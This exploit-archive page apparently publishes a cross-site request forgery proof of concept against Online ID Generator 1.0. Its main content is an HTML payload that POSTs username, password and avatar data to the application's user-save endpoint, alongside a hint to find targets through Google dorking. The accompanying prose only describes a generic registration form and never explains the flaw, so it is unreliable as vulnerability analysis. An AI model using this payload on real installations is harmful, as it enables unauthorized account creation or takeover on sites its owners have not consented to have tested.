exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Online ID Generator 1.0 Cross Site Request Forgery

Online ID Generator 1.0 Cross Site Request Forgery
Posted Aug 22, 2024
Authored by indoushka

Online ID Generator version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 6bea3851805bc73fbc61ca199c17a6806d1bdfb4d5fc1050218d00fb38f0cf0c

Online ID Generator 1.0 Cross Site Request Forgery

Change Mirror Download
=============================================================================================================================================
| # Title : Online ID Generator 1.0 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This HTML page :

is a user registration form that allows users to input a username, password, and upload an avatar image.
The form data is then sent via an AJAX request to a server-side script for processing.

[+] Here's a breakdown of how it works:

HTML Structure

Form Elements:

username: A text field where the user can input their username.
password: A password field for entering a password.
img: A file input for uploading an avatar image (restricted to image file types).

Save User Button:

An input element with the type button is used to trigger the saveUser() function when clicked.

[+] JavaScript (AJAX Request)

FormData Object:

The FormData object is created to hold the form's data, including the file upload.

AJAX Request:

An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php).
The request method is POST, and the data is sent to the specified URL.
The onload function checks if the request was successful (status code 200). If it was,
it alerts the user that the save was successful; otherwise, it alerts the user of an error.

[+] Backend Requirements :

The server-side script (Users.php) should be capable of handling the incoming POST request,
processing the form data (including saving the file), and returning an appropriate response.

This form can be improved by adding additional client-side validations, better error handling,
and perhaps enhancing security measures, such as sanitizing inputs on the server side.

[+] save code as poc.html

[+] payload :

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>User Registration</title>
</head>
<body>

<h2>User Registration</h2>
<form id="userForm" enctype="multipart/form-data">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required><br><br>

<label for="password">Password:</label>
<input type="password" id="password" name="password" required><br><br>

<label for="img">Avatar:</label>
<input type="file" id="img" name="img" accept="image/*"><br><br>

<input type="button" value="Save User" onclick="saveUser()">
</form>

<script>
function saveUser() {
var form = document.getElementById('userForm');
var formData = new FormData(form);

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1/id_generator/classes/Users.php?f=save", true);

xhr.onload = function () {
if (xhr.status === 200) {
alert('User saved successfully');
} else {
alert('An error occurred while saving the user');
}
};

xhr.send(formData);
}
</script>

</body>
</html>

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close